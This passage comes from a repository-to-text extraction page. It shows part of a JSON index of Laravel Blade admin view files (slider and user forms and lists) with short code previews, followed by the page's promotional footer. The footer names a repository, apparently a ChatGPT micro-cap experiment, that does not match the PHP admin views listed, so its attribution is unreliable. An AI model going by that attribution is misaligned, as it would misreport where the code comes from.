    "path": "src/views/slider/sliderform.blade.php",
    "chars": 3433,
    "preview": "<div class=\"row\">\n    <div class=\"large-12 columns\">\n        <?php echo 0 ? print_r($data, true) : ''; ?>\n        <div c"
  },
  {
    "path": "src/views/slider/sliderlist.blade.php",
    "chars": 489,
    "preview": "@foreach ($list as $v)\n<div class=\"row\">\n    <div class=\"large-10 columns\">\n        <p>{{ $v->lang->title }}</p>\n    </d"
  },
  {
    "path": "src/views/user/user.blade.php",
    "chars": 597,
    "preview": "@extends('clixy/admin::layouts.default')\n@section('content')\n    <div class=\"row\">\n    <div class=\"large-12 columns\">\n  "
  },
  {
    "path": "src/views/user/userform.blade.php",
    "chars": 1728,
    "preview": "<div class=\"row\">\n    <div class=\"large-12 columns\">\n        <?php echo 0 ? print_r($data, true) : ''; ?>\n        <div c"
  },
  {
    "path": "src/views/user/userlist.blade.php",
    "chars": 517,
    "preview": "@foreach ($list as $v)\n<div class=\"row\">\n    <div class=\"large-8 columns\">\n        <p>{{ $v->name }}<br /><small>{{ $v->"
  }
]

// ... and 4 more files (download for full content)

About this extraction

This page contains the full source code of the podmex/ChatGPT-Micro-Cap-Experiment GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 114 files (386.1 KB), approximately 107.4k tokens, and a symbol index with 160 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!